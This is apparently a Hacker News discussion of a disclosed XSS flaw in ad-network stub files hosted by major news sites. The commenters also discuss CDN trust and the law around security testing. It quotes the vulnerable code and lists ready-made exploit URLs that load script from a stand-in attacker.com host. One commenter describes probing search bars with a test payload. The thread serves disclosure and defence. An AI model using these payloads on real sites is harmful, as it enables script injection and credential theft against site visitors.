CNN, NYTimes, Mashable all vulnerable to XSS
davidlynch.org
davidlynch.org
It's not just a question of whether the script they're providing you today is safe; it's a question of whether their own applications are sound enough to prevent an attacker from popping them and changing what the script says.
I think the modern vogue for sourcing Javascript from random API providers is a bad idea; I predict that the badness of that idea is going to become more and more evident over the next few years; I think you'd be well-served by investigating how much of that stuff you can serve directly.
"Home rolled static file store"? Sheesh.
So far I grasped from you that external static files compromise the security model so much it's worth the time and effort to keep up to date with them locally and be okay if the page load times suffer (they do especially with minimalist sites.)
I understand the risk that Google CDN might be hacked and turned into a data mining monster, but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.
but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.
I don't know about you or Thomas, but this isn't true for me.
As an aside, I notice on my site there are a few precent of visitors with security settings on their browser that prevent loading from Google's CDN (actually, there's usually an internet security product of some sort interfering). So you're going to have to provide a fallback to a file on your own server anyway.
Sure, CDNs are advertised as super reliable and stable and whatnot, but all services go down once in a while. As with every monoculture, there will be large scale outages. It's something developers would be better off acknowledging and planning for upfront instead of having a heart attack whenever a service goes down "unexpectedly".
Look at it this way: if google's jquery is attacked and becomes compromised you and everyone else who uses it has become compromised because you were relying on third party security.
Next if you use jquery from google's cdn for the reason of they can do file security better than you you are already fucked because if someone is targeting your specific jquery hosted on your server chances are you are compromised in other ways.
If you want to use it for the precaching you can but I don't think precaching the 100kb jquery is really going to give you that much benefit in the long run, especially if your website is an application or something along those lines.
For eg. company xyz.com is a hosting company, but it also offers jQuery and other javascript at cdn.xyz.com.
A client of the company at client.xyz.com is setting a cookie for its users but sets it as xyz.com. Now everybody else that is using cdn.xyz.com will also see those cookies.
One example of this is the cloudflare CDN[1]. All of their clients and all of their hosted javascript is on the same domain. Test it out by checking the cookies your browser sends along[2], I see random Techcrunch cookies (they used cloudflare on a site)
[2] http://cdnjs.cloudflare.com/ajax/libs/backbone.js/0.5.3/back...
http://www.myspace.com/eyewonder/interim.html
<script language="JavaScript">
// NEW CODE 09-14-05
var query = window.location.search;
var adUrl = query.substring(5, query.length);
var clickthru;
var failclickthru;
if (/^http:\/\/([-a-z0-9]+\.)*eyewonder\.com\//i.test(adUrl) && adUrl.indexOf('"') == -1) {
document.write('<s'+'cript language="JavaScript" src="');
document.write(adUrl+'"></s'+'cript>');
}
</script>Edit: Pointroll, eyeblaster also vulnerable. Unicast is vulnerable, but it'd be very hard to exploit.
Whoever wrote these stub files should be flogged Old Testament style. This is just negligent.
The good news is that the headline isn't accurate anymore. :)
Generally you should attempt to receive a response before posting vulnerabilities though...
Multiple networks, multiple framebusting scripts they want you to host, all with blatant security holes that they don't want to fix after you (as a client) point them out.
Or maybe it's that the people in the organization who might care are completely insulated from the channels available to people who are dealing with the network as a client. Hard to say.
This is one of those things that I wish something akin to Amazon's Silk browser would be useful.
Replace the javascript with <img src=adnetwork/myid.png> and have the script run on their end which provides the pre-rendered advertisement.
Yes I realize its not that simple, listening to Brandon Downey at Google explain all the ways one might mount an XSS attack was always both awe inspiring and depressing at the same time. We've seen a number of ad network issues, it seems like a common attack surface.
A few months ago, I decided (as an experiment to see how common XSS actually is) to click on random HN links and type "<asdf '\"" into any search bars and look for weird rendering on the page or weird behaviour in the page source. After half an hour, I had five or so exploitable XSS vulnerabilities, two of the more prominent ones being CNN and Newegg. I sent emails to their security-related issue addresses, but they never responded or fixed the issue.
After sending them a couple more emails, I just gave up. But this article makes me wonder, could I have handled the situation better? The thought of releasing a benign-but-scary exploit crossed my mind, b ut I'm uncertain...
2) If no reply in that timeframe, make a blog post and a recommendation to listen to security reports. Post to HN. Public shame upon them to do two things aforementioned.
I'm happy with this for my projects. I take security reports very seriously and it's the only development priority over cat pictures.
For monetary incentive: Major websites will give a reward for reporting to them.
The following are some in-the-wild documents that exhibit these behaviors, and you should remove, modify, or beware before further use.
/videoegg/vedoc.html
http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/
/adx-iframe-v2.html
http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h
/eyereturn.html
http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E
/ifr_b.html
http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E
/interim.html
http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/
/eyewonder/interim.html
http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/
/oggiPlayerLoader.htm -- requires framing the advert
<iframe src="http://www.yoursite.com/oggiPlayerLoader.htm?version=1&tHtml=%3Cscript src%3Dhttp://www.attacker.com/malicious-js/%3E%3C/script%3E" style="display: block !important; width: 100%; height: 100%;">(I think it's a very neat hack and that he shouldn't have to be worried, but... am I right? Is this in fact a felony? Less?)
Obviously, he didn't commit any fraud or steal any information, and I can't imagine anyone would want to prosecute him.
edit: it looks like he's probably relatively in the clear on this? Most of the laws seem to require intent, fraud, or thievery. It's all very confusing.
edit 2: downvotes? I'm sorry for worrying that our laws and legal system sucks?
What I did was provide input to a publicly accessible script on their server. I didn't have to "break in" to anything to do so, or to find out about it. So it'd hinge on whether or not using someone's website in a way they didn't intend you to counts as being "unauthorized access".
Standard case of "most persuasive lawyer wins".
I say that in a spirit of helpfulness, not snark.
You should be extremely cautious testing other people's sites for security vulnerabilities.
In Lynch's case, he's fantastically unlikely to get into anything more than PR trouble over telling people about an XSS bug. But people have gotten into real trouble over what they thought was benign investigation.
Web developers put a lot of effort into making web apps feel like they're running on your own computer, but under the law, when you click around on a web app, you are interacting with someone else's property.
Mustttt resssisttttt.......
document.write('<s'+'cript language="JavaScript" src="');
document.write(adUrl+'"></s'+'cript>');Found a stack overflow question with explanation. Again, I believe, only IE couldn't handle word script in the literal string.
Seeing things like this affect such big sites always scares me, good find.
Furthermore, "other" authentication is almost always more or less broken. The only way "other" authentication could work is to check the user's IP address (which by itself adds only a bit of security - think of a public WiFi, e. g. Starbucks) or browser features (which is not a reliable security factor as this can easily be spoofed).
So, authentication usually works by transmitting session identification cookies.
httpOnly and secure flags come to mind when trying to secure session ids, but XSS can also be used to modify the DOM on the fly and to inject a nice little fake login form that lets you steal the sensitive information in plaintext (with a bit of user interaction though).
What else can you do with XSS? Drive-by downloads exploiting browser plugins, exploitation frameworks such as BeEF, keyloggers etc.
Edit: Non-persistent XSS is surely less dangerous than persistent XSS, but nevertheless, it is a threat and most of the time, an indicator for a generally flawed Web application that should not be downplayed.